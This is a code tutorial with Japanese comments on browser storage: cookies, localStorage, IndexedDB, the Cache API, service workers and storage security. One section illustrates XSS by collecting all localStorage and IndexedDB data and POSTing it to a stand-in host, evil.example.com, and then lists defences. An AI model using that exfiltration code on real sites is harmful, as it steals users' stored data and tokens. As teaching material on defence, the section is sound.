// サーバー側で設定する Cookie の属性
// Set-Cookie: name=value; 属性1; 属性2; ...
 
// 属性の一覧と説明:
 
// Expires / Max-Age: 有効期限
// Expires=Thu, 01 Dec 2025 00:00:00 GMT  — 絶対日時
// Max-Age=86400                          — 秒数指定（優先される）
// どちらも未指定 → セッション Cookie（ブラウザ閉じたら削除）
 
// Domain: 送信先のドメイン範囲
// Domain=.example.com → example.com と全サブドメインに送信
// 未指定 → 設定元のホストのみ（サブドメインに送信されない）
 
// Path: 送信先のパス範囲
// Path=/ → 全パスに送信
// Path=/api → /api 以下にのみ送信
 
// Secure: HTTPS 接続でのみ送信
// HttpOnly: JavaScript の document.cookie からアクセス不可
// SameSite: クロスサイトリクエストでの送信制御
//   Strict — 完全に遮断（リンクからの遷移でも送信しない）
//   Lax    — GET のトップレベルナビゲーションのみ許可（デフォルト）
//   None   — 全て許可（Secure 必須）

// ===== サーバー側（Node.js / Express の例） =====
 
// Cookie の設定
app.get('/login', (req, res) => {
  const sessionId = generateSecureSessionId();
 
  res.cookie('sid', sessionId, {
    httpOnly: true,     // XSS 対策: JS からアクセス不可
    secure: true,       // HTTPS のみ
    sameSite: 'lax',    // CSRF 対策
    maxAge: 24 * 60 * 60 * 1000, // 24時間（ミリ秒）
    path: '/',
    domain: '.example.com',
  });
 
  res.redirect('/dashboard');
});
 
// Cookie の読み取り（cookie-parser ミドルウェア使用）
app.get('/dashboard', (req, res) => {
  const sessionId = req.cookies.sid;
  if (!sessionId || !isValidSession(sessionId)) {
    return res.redirect('/login');
  }
  res.render('dashboard');
});
 
// Cookie の削除
app.post('/logout', (req, res) => {
  res.clearCookie('sid', {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    path: '/',
    domain: '.example.com',
  });
  res.redirect('/');
});
 
 
// ===== クライアント側 =====
 
// 読み取り（HttpOnly でないものだけ）
function parseCookies() {
  return document.cookie
    .split('; ')
    .reduce((acc, pair) => {
      const [key, ...valueParts] = pair.split('=');
      acc[key] = decodeURIComponent(valueParts.join('='));
      return acc;
    }, {});
}
 
const cookies = parseCookies();
console.log(cookies.theme); // 'dark'
 
// 書き込み
function setCookie(name, value, options = {}) {
  let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}`;
 
  if (options.maxAge) cookieString += `; max-age=${options.maxAge}`;
  if (options.path)   cookieString += `; path=${options.path}`;
  if (options.domain) cookieString += `; domain=${options.domain}`;
  if (options.secure) cookieString += '; secure';
  if (options.sameSite) cookieString += `; samesite=${options.sameSite}`;
 
  document.cookie = cookieString;
}
 
setCookie('theme', 'dark', { maxAge: 86400 * 30, path: '/' });
 
// 削除
function deleteCookie(name, path = '/') {
  document.cookie = `${name}=; max-age=0; path=${path}`;
}
 
deleteCookie('theme');

// 推奨: __Host- プレフィックスによる堅牢な Cookie
 
// __Host- プレフィックスの制約:
// 1. Secure 属性が必須
// 2. Path=/ が必須
// 3. Domain 属性を指定してはいけない
// → サブドメインからの上書きを防止
 
// Set-Cookie: __Host-sid=abc123; Secure; Path=/; HttpOnly; SameSite=Lax
 
// __Secure- プレフィックスの制約:
// 1. Secure 属性が必須のみ
// → Domain 指定は可能
 
// Set-Cookie: __Secure-token=xyz; Secure; Domain=.example.com; Path=/

// ===== localStorage の基本操作 =====
 
// 1. 値の保存
localStorage.setItem('theme', 'dark');
localStorage.setItem('language', 'ja');
localStorage.setItem('fontSize', '16');
 
// 2. 値の取得
const theme = localStorage.getItem('theme');      // 'dark'
const missing = localStorage.getItem('unknown');   // null
 
// 3. 値の削除
localStorage.removeItem('fontSize');
 
// 4. 全データの削除
localStorage.clear();
 
// 5. キーの列挙
for (let i = 0; i < localStorage.length; i++) {
  const key = localStorage.key(i);
  const value = localStorage.getItem(key);
  console.log(`${key}: ${value}`);
}
 
// 6. プロパティアクセス（非推奨だが動作する）
localStorage.theme = 'light';        // setItem と同等
const t = localStorage.theme;        // getItem と同等
delete localStorage.theme;           // removeItem と同等
// 注意: 'length', 'key', 'getItem' 等の予約名と衝突する可能性がある
 
 
// ===== sessionStorage も全く同じ API =====
sessionStorage.setItem('formStep', '2');
const step = sessionStorage.getItem('formStep');

// ===== 型安全な Storage ラッパー =====
 
interface StorageSchema {
  theme: 'light' | 'dark';
  language: string;
  userPreferences: {
    fontSize: number;
    sidebarOpen: boolean;
    recentPages: string[];
  };
  lastVisit: string; // ISO 8601
}
 
class TypedStorage<T extends Record<string, unknown>> {
  private storage: Storage;
  private prefix: string;
 
  constructor(storage: Storage, prefix: string = '') {
    this.storage = storage;
    this.prefix = prefix;
  }
 
  get<K extends keyof T>(key: K): T[K] | null {
    const raw = this.storage.getItem(this.prefix + String(key));
    if (raw === null) return null;
 
    try {
      return JSON.parse(raw) as T[K];
    } catch {
      // JSON パースに失敗した場合は文字列をそのまま返す
      return raw as unknown as T[K];
    }
  }
 
  set<K extends keyof T>(key: K, value: T[K]): void {
    try {
      const serialized = JSON.stringify(value);
      this.storage.setItem(this.prefix + String(key), serialized);
    } catch (e) {
      if (e instanceof DOMException && e.name === 'QuotaExceededError') {
        console.error('Storage quota exceeded. Consider cleaning old data.');
        this.evictOldEntries();
        // リトライ
        const serialized = JSON.stringify(value);
        this.storage.setItem(this.prefix + String(key), serialized);
      } else {
        throw e;
      }
    }
  }
 
  remove<K extends keyof T>(key: K): void {
    this.storage.removeItem(this.prefix + String(key));
  }
 
  has<K extends keyof T>(key: K): boolean {
    return this.storage.getItem(this.prefix + String(key)) !== null;
  }
 
  private evictOldEntries(): void {
    // 容量不足時に古いエントリを削除する簡易的な退去戦略
    const keysToRemove: string[] = [];
    for (let i = 0; i < this.storage.length; i++) {
      const key = this.storage.key(i);
      if (key && key.startsWith(this.prefix)) {
        keysToRemove.push(key);
      }
    }
    // 最初の 1/4 を削除
    const removeCount = Math.ceil(keysToRemove.length / 4);
    for (let i = 0; i < removeCount; i++) {
      this.storage.removeItem(keysToRemove[i]);
    }
  }
}
 
// 使用例
const appStorage = new TypedStorage<StorageSchema>(localStorage, 'app_');
 
appStorage.set('theme', 'dark');
appStorage.set('userPreferences', {
  fontSize: 14,
  sidebarOpen: true,
  recentPages: ['/home', '/settings'],
});
 
const theme = appStorage.get('theme');         // 'light' | 'dark' | null
const prefs = appStorage.get('userPreferences'); // 型推論が効く

// ===== storage イベントの活用 =====
 
// 注意: storage イベントは「変更を行ったタブ以外」で発火する
// つまり、自分自身のタブでは発火しない
 
window.addEventListener('storage', (event) => {
  // event.key       — 変更されたキー（clear() の場合は null）
  // event.oldValue  — 変更前の値
  // event.newValue  — 変更後の値（remove の場合は null）
  // event.url       — 変更が行われたページのURL
  // event.storageArea — localStorage or sessionStorage
 
  if (event.key === 'theme') {
    applyTheme(event.newValue);
  }
 
  if (event.key === 'auth_logout') {
    // 他のタブでログアウトされたら自分もログアウト
    window.location.href = '/login';
  }
 
  if (event.key === null) {
    // clear() が呼ばれた
    console.log('Storage was cleared in another tab');
  }
});
 
 
// ===== BroadcastChannel との比較 =====
 
// storage イベントの制約:
// - localStorage の変更を介さないと通信できない
// - 一時的なメッセージのやり取りには不向き
 
// BroadcastChannel: タブ間メッセージングの専用API
const channel = new BroadcastChannel('app_sync');
 
// 送信（全タブに届く）
channel.postMessage({ type: 'THEME_CHANGED', theme: 'dark' });
 
// 受信
channel.onmessage = (event) => {
  if (event.data.type === 'THEME_CHANGED') {
    applyTheme(event.data.theme);
  }
};
 
// 不要になったら閉じる
channel.close();

// ===== 容量制限のテストと対処 =====
 
// localStorage の容量を確認する関数
function getStorageUsage(storage = localStorage) {
  let total = 0;
  for (let i = 0; i < storage.length; i++) {
    const key = storage.key(i);
    if (key) {
      // UTF-16 エンコーディングのため、1文字 = 2バイト
      total += (key.length + storage.getItem(key).length) * 2;
    }
  }
  return {
    bytes: total,
    kb: (total / 1024).toFixed(2),
    mb: (total / 1024 / 1024).toFixed(4),
  };
}
 
console.log(getStorageUsage());
// { bytes: 2048, kb: '2.00', mb: '0.0020' }
 
 
// QuotaExceededError のハンドリング
function safeSetItem(key, value) {
  try {
    localStorage.setItem(key, value);
    return true;
  } catch (e) {
    if (e instanceof DOMException) {
      switch (e.name) {
        case 'QuotaExceededError':
          console.warn('localStorage is full. Attempting cleanup...');
          // 古いキャッシュを削除してリトライ
          cleanupExpiredCache();
          try {
            localStorage.setItem(key, value);
            return true;
          } catch {
            console.error('Still full after cleanup. Data not saved.');
            return false;
          }
        case 'SecurityError':
          // プライベートブラウジングやiframeの制約
          console.error('Storage access denied.');
          return false;
        default:
          throw e;
      }
    }
    throw e;
  }
}
 
function cleanupExpiredCache() {
  const now = Date.now();
  const keysToDelete = [];
 
  for (let i = 0; i < localStorage.length; i++) {
    const key = localStorage.key(i);
    if (key && key.startsWith('cache_')) {
      try {
        const item = JSON.parse(localStorage.getItem(key));
        if (item.expiresAt && item.expiresAt < now) {
          keysToDelete.push(key);
        }
      } catch {
        keysToDelete.push(key); // パースできないものも削除対象
      }
    }
  }
 
  keysToDelete.forEach(key => localStorage.removeItem(key));
  console.log(`Cleaned up ${keysToDelete.length} expired cache entries.`);
}

// ===== IndexedDB ネイティブ API の完全例 =====
 
// --- データベースのオープンとスキーマ定義 ---
 
function openDatabase() {
  return new Promise((resolve, reject) => {
    const request = indexedDB.open('TaskManager', 2);
 
    // バージョンが上がった時（またはDB新規作成時）に呼ばれる
    request.onupgradeneeded = (event) => {
      const db = event.target.result;
      const oldVersion = event.oldVersion;
 
      // バージョン 0 → 1: 初期スキーマ
      if (oldVersion < 1) {
        const taskStore = db.createObjectStore('tasks', {
          keyPath: 'id',
          autoIncrement: true,
        });
        taskStore.createIndex('status', 'status', { unique: false });
        taskStore.createIndex('dueDate', 'dueDate', { unique: false });
        taskStore.createIndex('priority', 'priority', { unique: false });
      }
 
      // バージョン 1 → 2: カテゴリ追加
      if (oldVersion < 2) {
        // 既存の ObjectStore にインデックスを追加
        const taskStore = event.target.transaction.objectStore('tasks');
        taskStore.createIndex('category', 'category', { unique: false });
 
        // 新しい ObjectStore を追加
        db.createObjectStore('categories', { keyPath: 'name' });
      }
    };
 
    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);
 
    // データベースの削除やバージョンアップが他タブで行われた場合
    request.onblocked = () => {
      console.warn('Database upgrade blocked. Close other tabs.');
    };
  });
}
 
 
// --- CRUD 操作 ---
 
async function addTask(task) {
  const db = await openDatabase();
  return new Promise((resolve, reject) => {
    const tx = db.transaction('tasks', 'readwrite');
    const store = tx.objectStore('tasks');
    const request = store.add(task);
 
    request.onsuccess = () => resolve(request.result); // 生成された ID
    request.onerror = () => reject(request.error);
 
    tx.oncomplete = () => db.close();
  });
}
 
async function getTask(id) {
  const db = await openDatabase();
  return new Promise((resolve, reject) => {
    const tx = db.transaction('tasks', 'readonly');
    const store = tx.objectStore('tasks');
    const request = store.get(id);
 
    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);
 
    tx.oncomplete = () => db.close();
  });
}
 
async function updateTask(task) {
  const db = await openDatabase();
  return new Promise((resolve, reject) => {
    const tx = db.transaction('tasks', 'readwrite');
    const store = tx.objectStore('tasks');
    const request = store.put(task); // put = upsert
 
    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);
 
    tx.oncomplete = () => db.close();
  });
}
 
async function deleteTask(id) {
  const db = await openDatabase();
  return new Promise((resolve, reject) => {
    const tx = db.transaction('tasks', 'readwrite');
    const store = tx.objectStore('tasks');
    const request = store.delete(id);
 
    request.onsuccess = () => resolve();
    request.onerror = () => reject(request.error);
 
    tx.oncomplete = () => db.close();
  });
}
 
 
// --- インデックスを使った検索 ---
 
async function getTasksByStatus(status) {
  const db = await openDatabase();
  return new Promise((resolve, reject) => {
    const tx = db.transaction('tasks', 'readonly');
    const store = tx.objectStore('tasks');
    const index = store.index('status');
    const request = index.getAll(status);
 
    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);
 
    tx.oncomplete = () => db.close();
  });
}
 
// 範囲検索（IDBKeyRange）
async function getTasksDueBefore(date) {
  const db = await openDatabase();
  return new Promise((resolve, reject) => {
    const tx = db.transaction('tasks', 'readonly');
    const store = tx.objectStore('tasks');
    const index = store.index('dueDate');
 
    // upperBound: 指定値以下、true で指定値を含まない
    const range = IDBKeyRange.upperBound(date.toISOString(), false);
    const request = index.getAll(range);
 
    request.onsuccess = () => resolve(request.result);
    request.onerror = () => reject(request.error);
 
    tx.oncomplete = () => db.close();
  });
}
 
 
// --- カーソルによる逐次処理 ---
 
async function processAllTasks(callback) {
  const db = await openDatabase();
  return new Promise((resolve, reject) => {
    const tx = db.transaction('tasks', 'readonly');
    const store = tx.objectStore('tasks');
    const request = store.openCursor();
    const results = [];
 
    request.onsuccess = (event) => {
      const cursor = event.target.result;
      if (cursor) {
        results.push(callback(cursor.value));
        cursor.continue(); // 次のレコードへ
      } else {
        resolve(results); // 全レコード処理完了
      }
    };
 
    request.onerror = () => reject(request.error);
    tx.oncomplete = () => db.close();
  });
}
 
// 使用例
const taskIds = await addTask({
  title: 'レポート作成',
  status: 'pending',
  priority: 'high',
  category: 'work',
  dueDate: '2025-12-31',
});
console.log('Created task with ID:', taskIds);
 
const pendingTasks = await getTasksByStatus('pending');
console.log('Pending tasks:', pendingTasks);

// ===== idb ライブラリの使用例 =====
 
import { openDB, deleteDB } from 'idb';
 
// --- データベースのオープン ---
const db = await openDB('TaskManager', 2, {
  upgrade(db, oldVersion, newVersion, transaction) {
    if (oldVersion < 1) {
      const taskStore = db.createObjectStore('tasks', {
        keyPath: 'id',
        autoIncrement: true,
      });
      taskStore.createIndex('status', 'status');
      taskStore.createIndex('dueDate', 'dueDate');
      taskStore.createIndex('priority', 'priority');
    }
    if (oldVersion < 2) {
      const taskStore = transaction.objectStore('tasks');
      taskStore.createIndex('category', 'category');
      db.createObjectStore('categories', { keyPath: 'name' });
    }
  },
  blocked() {
    console.warn('Database upgrade blocked by another tab.');
  },
  blocking() {
    // 自分が古いバージョンを使っている場合
    db.close();
    console.warn('Database outdated. Please reload.');
  },
  terminated() {
    console.error('Database connection was unexpectedly terminated.');
  },
});
 
// --- CRUD（驚くほどシンプル）---
 
// Create
const id = await db.add('tasks', {
  title: '設計書レビュー',
  status: 'pending',
  priority: 'high',
  category: 'work',
  dueDate: '2025-06-30',
  createdAt: new Date().toISOString(),
});
 
// Read
const task = await db.get('tasks', id);
const allTasks = await db.getAll('tasks');
 
// Update
task.status = 'in-progress';
await db.put('tasks', task);
 
// Delete
await db.delete('tasks', id);
 
// --- インデックスによる検索 ---
const pendingTasks2 = await db.getAllFromIndex('tasks', 'status', 'pending');
const highPriority = await db.getAllFromIndex('tasks', 'priority', 'high');
 
// 範囲検索
const dueSoon = await db.getAllFromIndex(
  'tasks',
  'dueDate',
  IDBKeyRange.upperBound('2025-07-01')
);
 
// --- トランザクション ---
const tx = db.transaction(['tasks', 'categories'], 'readwrite');
const taskStore = tx.objectStore('tasks');
const catStore = tx.objectStore('categories');
 
await Promise.all([
  taskStore.add({ title: 'New Task', status: 'pending', category: 'dev' }),
  catStore.put({ name: 'dev', color: '#3b82f6' }),
  tx.done,
]);
 
// --- データベースの削除 ---
await deleteDB('TaskManager');

// ===== トランザクションの注意点 =====
 
// 正しい例: 全操作を同一マイクロタスク内で実行
async function transferTask(taskId, fromCategory, toCategory) {
  const db = await openDB('TaskManager', 2);
  const tx = db.transaction(['tasks', 'categories'], 'readwrite');
 
  const task = await tx.objectStore('tasks').get(taskId);
  task.category = toCategory;
 
  // 全ての操作を tx.done の前に投入する
  await Promise.all([
    tx.objectStore('tasks').put(task),
    tx.objectStore('categories').put({ name: toCategory, count: 1 }),
    tx.done,
  ]);
}
 
 
// 誤った例: トランザクション中に外部非同期処理を挟む
async function badExample(taskId) {
  const db = await openDB('TaskManager', 2);
  const tx = db.transaction('tasks', 'readwrite');
 
  const task = await tx.objectStore('tasks').get(taskId);
 
  // NG: fetch を挟むとトランザクションが自動コミットされる
  const response = await fetch(`/api/tasks/${taskId}/details`);
  const details = await response.json();
 
  // この時点でトランザクションは既に完了しているためエラーになる
  task.details = details;
  await tx.objectStore('tasks').put(task); // TransactionInactiveError!
}

// ===== バイナリデータの保存と取得 =====
 
// 画像ファイルの保存
async function saveImage(imageFile) {
  const db = await openDB('MediaDB', 1, {
    upgrade(db) {
      db.createObjectStore('images', { keyPath: 'id' });
    },
  });
 
  await db.put('images', {
    id: `img_${Date.now()}`,
    name: imageFile.name,
    type: imageFile.type,
    size: imageFile.size,
    blob: imageFile,  // File/Blob をそのまま保存
    savedAt: new Date().toISOString(),
  });
}
 
// 画像の取得と表示
async function loadImage(imageId) {
  const db = await openDB('MediaDB', 1);
  const record = await db.get('images', imageId);
 
  if (record) {
    const url = URL.createObjectURL(record.blob);
    const img = document.createElement('img');
    img.src = url;
    img.onload = () => URL.revokeObjectURL(url); // メモリリーク防止
    document.body.appendChild(img);
  }
}
 
 
// ArrayBuffer の保存（音声データなど）
async function saveAudioBuffer(audioBuffer) {
  const db = await openDB('MediaDB', 1);
 
  // AudioBuffer を Float32Array に変換
  const channelData = [];
  for (let i = 0; i < audioBuffer.numberOfChannels; i++) {
    channelData.push(audioBuffer.getChannelData(i));
  }
 
  await db.put('images', {
    id: `audio_${Date.now()}`,
    type: 'audio',
    sampleRate: audioBuffer.sampleRate,
    numberOfChannels: audioBuffer.numberOfChannels,
    length: audioBuffer.length,
    channels: channelData,  // Float32Array を直接保存
  });
}

// ===== Cache API の基本操作 =====
 
// キャッシュを開く（なければ作成）
const cache = await caches.open('v1-static');
 
// レスポンスをキャッシュに追加
await cache.add('/styles/main.css');
await cache.addAll([
  '/scripts/app.js',
  '/images/logo.png',
  '/fonts/inter.woff2',
]);
 
// カスタムレスポンスの保存
const response = await fetch('/api/config');
await cache.put('/api/config', response.clone());
 
// キャッシュからの取得
const cached = await cache.match('/styles/main.css');
if (cached) {
  const css = await cached.text();
  console.log('Cached CSS:', css.substring(0, 100));
}
 
// キャッシュの削除
await cache.delete('/api/config');
 
// キャッシュ名の一覧
const cacheNames = await caches.keys();
console.log('Caches:', cacheNames); // ['v1-static', 'v1-api']
 
// 古いキャッシュの削除（バージョン管理）
const currentCaches = ['v2-static', 'v2-api'];
for (const name of await caches.keys()) {
  if (!currentCaches.includes(name)) {
    await caches.delete(name);
    console.log(`Deleted old cache: ${name}`);
  }
}

// ===== Service Worker 内でのキャッシュ戦略 =====
 
// sw.js
 
const CACHE_NAME = 'v2-app';
const STATIC_ASSETS = [
  '/',
  '/index.html',
  '/styles/main.css',
  '/scripts/app.js',
  '/images/logo.png',
];
 
// インストール時に静的リソースをプリキャッシュ
self.addEventListener('install', (event) => {
  event.waitUntil(
    caches.open(CACHE_NAME)
      .then(cache => cache.addAll(STATIC_ASSETS))
  );
  self.skipWaiting();
});
 
// アクティベーション時に古いキャッシュを削除
self.addEventListener('activate', (event) => {
  event.waitUntil(
    caches.keys().then(names =>
      Promise.all(
        names
          .filter(name => name !== CACHE_NAME)
          .map(name => caches.delete(name))
      )
    )
  );
  self.clients.claim();
});
 
// フェッチ時のキャッシュ戦略
self.addEventListener('fetch', (event) => {
  const { request } = event;
  const url = new URL(request.url);
 
  if (url.pathname.startsWith('/api/')) {
    // API リクエスト: Network First (Stale-While-Revalidate)
    event.respondWith(networkFirstStrategy(request));
  } else {
    // 静的リソース: Cache First
    event.respondWith(cacheFirstStrategy(request));
  }
});
 
async function cacheFirstStrategy(request) {
  const cached = await caches.match(request);
  if (cached) return cached;
 
  try {
    const response = await fetch(request);
    if (response.ok) {
      const cache = await caches.open(CACHE_NAME);
      cache.put(request, response.clone());
    }
    return response;
  } catch {
    return new Response('Offline', { status: 503 });
  }
}
 
async function networkFirstStrategy(request) {
  try {
    const response = await fetch(request);
    if (response.ok) {
      const cache = await caches.open(CACHE_NAME);
      cache.put(request, response.clone());
    }
    return response;
  } catch {
    const cached = await caches.match(request);
    if (cached) return cached;
    return new Response(
      JSON.stringify({ error: 'Offline' }),
      { status: 503, headers: { 'Content-Type': 'application/json' } }
    );
  }
}

// ===== StorageManager API =====
 
async function checkStorageStatus() {
  if (!navigator.storage || !navigator.storage.estimate) {
    console.warn('StorageManager API is not supported.');
    return null;
  }
 
  const estimate = await navigator.storage.estimate();
 
  const status = {
    // 使用量
    usage: estimate.usage,
    usageMB: (estimate.usage / 1024 / 1024).toFixed(2),
 
    // 割当量
    quota: estimate.quota,
    quotaMB: (estimate.quota / 1024 / 1024).toFixed(2),
    quotaGB: (estimate.quota / 1024 / 1024 / 1024).toFixed(2),
 
    // 使用率
    percentUsed: ((estimate.usage / estimate.quota) * 100).toFixed(2),
 
    // 各ストレージの内訳（Chrome のみ）
    usageDetails: estimate.usageDetails || null,
  };
 
  console.table(status);
  return status;
}
 
// 出力例:
// {
//   usage: 5242880,
//   usageMB: '5.00',
//   quota: 2147483648,
//   quotaMB: '2048.00',
//   quotaGB: '2.00',
//   percentUsed: '0.24',
//   usageDetails: {
//     indexedDB: 4194304,
//     caches: 1048576,
//     serviceWorkerRegistrations: 0,
//   }
// }
 
 
// ===== 永続ストレージのリクエスト =====
 
async function requestPersistentStorage() {
  if (!navigator.storage || !navigator.storage.persist) {
    console.warn('Persistent storage is not supported.');
    return false;
  }
 
  // 既に永続化されているか確認
  const alreadyPersisted = await navigator.storage.persisted();
  if (alreadyPersisted) {
    console.log('Storage is already persistent.');
    return true;
  }
 
  // 永続化をリクエスト
  const granted = await navigator.storage.persist();
 
  if (granted) {
    console.log('Storage is now persistent. Data will not be evicted.');
  } else {
    console.warn(
      'Persistent storage was denied. Data may be evicted under pressure.'
    );
  }
 
  return granted;
}
 
// ブラウザが永続化を許可する条件（Chrome の場合）:
// - サイトがブックマークされている
// - サイトの使用頻度が高い（High Engagement）
// - Push 通知の許可がある
// - ホーム画面に追加されている
// Firefox は常にユーザーにプロンプトを表示する

// ===== XSS 攻撃者が実行できる操作 =====
 
// localStorage の全データ窃取
const stolen = {};
for (let i = 0; i < localStorage.length; i++) {
  const key = localStorage.key(i);
  stolen[key] = localStorage.getItem(key);
}
// 攻撃者のサーバーに送信
fetch('https://evil.example.com/collect', {
  method: 'POST',
  body: JSON.stringify(stolen),
});
 
// IndexedDB の全データ窃取
const databases = await indexedDB.databases();
for (const dbInfo of databases) {
  const db = await openDB(dbInfo.name, dbInfo.version);
  for (const storeName of db.objectStoreNames) {
    const data = await db.getAll(storeName);
    // 窃取...
  }
}
 
// HttpOnly Cookie は document.cookie からアクセスできないため保護される
// → セッション Cookie には必ず HttpOnly を設定すること
 
 
// ===== 対策 =====
 
// 1. CSP (Content Security Policy) でインラインスクリプトを禁止
// Content-Security-Policy: script-src 'self' 'nonce-abc123'
 
// 2. ストレージに機密データを保存しない
// NG: localStorage.setItem('jwt', token);
// OK: HttpOnly Cookie にセッションIDを保存
 
// 3. 入力のサニタイズとエスケープ
function escapeHtml(str) {
  const div = document.createElement('div');
  div.textContent = str;
  return div.innerHTML;
}
 
// 4. Trusted Types API の活用
// Content-Security-Policy: trusted-types myPolicy
if (window.trustedTypes) {
  const policy = trustedTypes.createPolicy('myPolicy', {
    createHTML: (input) => DOMPurify.sanitize(input),
  });
}

// ===== プライベートブラウジング時のストレージ挙動 =====
 
// ブラウザによって挙動が異なる:
//
// Chrome (シークレットモード):
//   - localStorage: 通常どおり使えるが、ウィンドウ閉じたら消える
//   - sessionStorage: 通常どおり
//   - IndexedDB: 通常どおり使えるが、ウィンドウ閉じたら消える
//   - Cookie: 通常どおり使えるが、ウィンドウ閉じたら消える
//
// Safari (プライベート):
//   - localStorage: 読み取り専用（書き込むとエラー）→ 最近は改善
//   - sessionStorage: 通常どおり
//   - IndexedDB: 使用可能だが容量制限が厳しい
//
// Firefox (プライベート):
//   - 全ストレージが通常どおり動作するが、ウィンドウ閉じたら消える
 
// プライベートモードの検出（非推奨だが参考情報）
async function isPrivateBrowsing() {
  try {
    // Safari での検出
    localStorage.setItem('__test__', '1');
    localStorage.removeItem('__test__');
  } catch {
    return true; // Safari の古いプライベートモード
  }
 
  try {
    // Storage quota が極端に小さい場合
    const estimate = await navigator.storage?.estimate();
    if (estimate && estimate.quota < 120 * 1024 * 1024) {
      return true; // おそらくプライベートモード
    }
  } catch {
    // 無視
  }
 
  return false;
}

// ===== アンチパターン: localStorage に JWT を保存 =====
 
// NG: このパターンは XSS に対して脆弱
async function loginBad(email, password) {
  const response = await fetch('/api/auth/login', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password }),
  });
  const { accessToken, refreshToken } = await response.json();
 
  // NG: XSS 攻撃で簡単に窃取される
  localStorage.setItem('accessToken', accessToken);
  localStorage.setItem('refreshToken', refreshToken);
}
 
// NG: 毎リクエストで手動設定が必要
async function fetchWithAuthBad(url) {
  const token = localStorage.getItem('accessToken');
  return fetch(url, {
    headers: { Authorization: `Bearer ${token}` },
  });
}
 
// 問題点:
// 1. XSS が一つでもあれば、全トークンが窃取される
// 2. リフレッシュトークンが盗まれると長期間のアクセスを許してしまう
// 3. JavaScript から常にアクセス可能（保護手段がない）
// 4. CSRF 対策は不要だが、XSS のリスクが CSRF のリスクを上回る
 
 
// ===== 正しいパターン: HttpOnly Cookie =====
 
// サーバー側（Express の例）
app.post('/api/auth/login', async (req, res) => {
  const { email, password } = req.body;
  const user = await authenticate(email, password);
 
  if (!user) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }
 
  const sessionId = generateSecureSessionId();
  await saveSession(sessionId, user.id);
 
  // HttpOnly Cookie に設定 → JavaScript からアクセス不可
  res.cookie('sid', sessionId, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    maxAge: 24 * 60 * 60 * 1000,
    path: '/',
  });
 
  res.json({ user: { id: user.id, name: user.name } });
});
 
// クライアント側: Cookie は自動送信されるため手動設定不要
async function fetchWithAuthGood(url) {
  return fetch(url, {
    credentials: 'include', // Cookie を含める
  });
}

// ===== アンチパターン: localStorage に大量データを保存 =====
 
// NG: 同期 API なのでメインスレッドをブロックする
async function cacheProductsBad() {
  const response = await fetch('/api/products');
  const products = await response.json(); // 10,000件のデータ
 
  // NG: JSON.stringify に時間がかかり、UIがフリーズする
  localStorage.setItem('products', JSON.stringify(products));
  // さらに localStorage は 5-10MB の制限がある
}
 
function getProductBad(id) {
  // NG: 毎回 10,000件をパースする（数百ミリ秒かかる場合がある）
  const products = JSON.parse(localStorage.getItem('products'));
  return products.find(p => p.id === id);
}
 
// 問題点:
// 1. JSON.stringify / JSON.parse は同期処理でUIをブロック
// 2. 5-10MB の容量制限に達しやすい
// 3. 検索にインデックスが使えず、全データスキャンが必要
// 4. データの部分更新ができない（全体を書き直す必要がある）
 
 
// ===== 正しいパターン: IndexedDB を使う =====
 
import { openDB } from 'idb';
 
async function cacheProductsGood() {
  const db = await openDB('ProductCache', 1, {
    upgrade(db) {
      const store = db.createObjectStore('products', { keyPath: 'id' });
      store.createIndex('category', 'category');
      store.createIndex('price', 'price');
    },
  });
 
  const response = await fetch('/api/products');
  const products = await response.json();
 
  // 非同期でバルク挿入（UIをブロックしない）
  const tx = db.transaction('products', 'readwrite');
  const store = tx.objectStore('products');
  for (const product of products) {
    store.put(product);
  }
  await tx.done;
}
 
async function getProductGood(id) {
  const db = await openDB('ProductCache', 1);
  // インデックスによる O(log n) の高速検索
  return db.get('products', id);
}
 
async function getProductsByCategory(category) {
  const db = await openDB('ProductCache', 1);
  return db.getAllFromIndex('products', 'category', category);
}
 
async function getProductsInPriceRange(min, max) {
  const db = await openDB('ProductCache', 1);
  return db.getAllFromIndex(
    'products',
    'price',
    IDBKeyRange.bound(min, max)
  );
}

// ===== アンチパターン: Cookie にユーザー設定を大量保存 =====
 
// NG: Cookie はリクエストごとに送信されるため、帯域を浪費
document.cookie = 'theme=dark; path=/';
document.cookie = 'language=ja; path=/';
document.cookie = 'fontSize=16; path=/';
document.cookie = 'sidebarOpen=true; path=/';
document.cookie = 'tablePageSize=25; path=/';
document.cookie = 'notifications=true; path=/';
document.cookie = 'colorScheme=blue; path=/';
 
// 問題点:
// 1. 全てのリクエスト（画像、CSS、JS含む）にこれらの Cookie が付与される
// 2. 4KB の容量制限に達しやすい
// 3. Cookie の個数制限（ドメインあたり約 50 個）に抵触する可能性
// 4. サーバー側で不要なデータまで受信する
 
// ===== 正しいパターン =====
// ユーザー設定は localStorage に保存
// Cookie は認証・セッション管理にのみ使用
const userSettings = {
  theme: 'dark',
  language: 'ja',
  fontSize: 16,
  sidebarOpen: true,
  tablePageSize: 25,
  notifications: true,
  colorScheme: 'blue',
};
localStorage.setItem('userSettings', JSON.stringify(userSettings));

// ===== Safari ITP のストレージ制限 =====
 
// Safari のストレージ制限（ITP 有効時）:
//
// 1. クロスサイトトラッキング能力を持つと分類されたドメインの場合:
//    - Cookie: 24時間で有効期限切れ（ファーストパーティでも）
//    - localStorage: 7日間アクセスがないと削除
//    - IndexedDB: 7日間アクセスがないと削除
//    - Service Worker: 7日間アクセスがないと登録解除
//
// 2. document.cookie で設定された Cookie:
//    - Max-Age/Expires の上限が 7日間に制限される
//    - Set-Cookie ヘッダーで設定された Cookie には適用されない
//
// 3. Storage Access API が必要なケース:
//    - サードパーティ iframe 内でのストレージアクセス
 
// 対策: Storage Access API の使用
async function requestStorageAccess() {
  try {
    const hasAccess = await document.hasStorageAccess();
    if (!hasAccess) {
      // ユーザーインタラクション（クリック等）内で呼ぶ必要がある
      await document.requestStorageAccess();
      console.log('Storage access granted.');
    }
  } catch (err) {
    console.warn('Storage access denied:', err.message);
  }
}
 
// 対策: サーバーサイドでの Cookie 設定
// document.cookie ではなく Set-Cookie ヘッダーを使うことで
// ITP による有効期限の強制短縮を回避できる
 
// Express での例
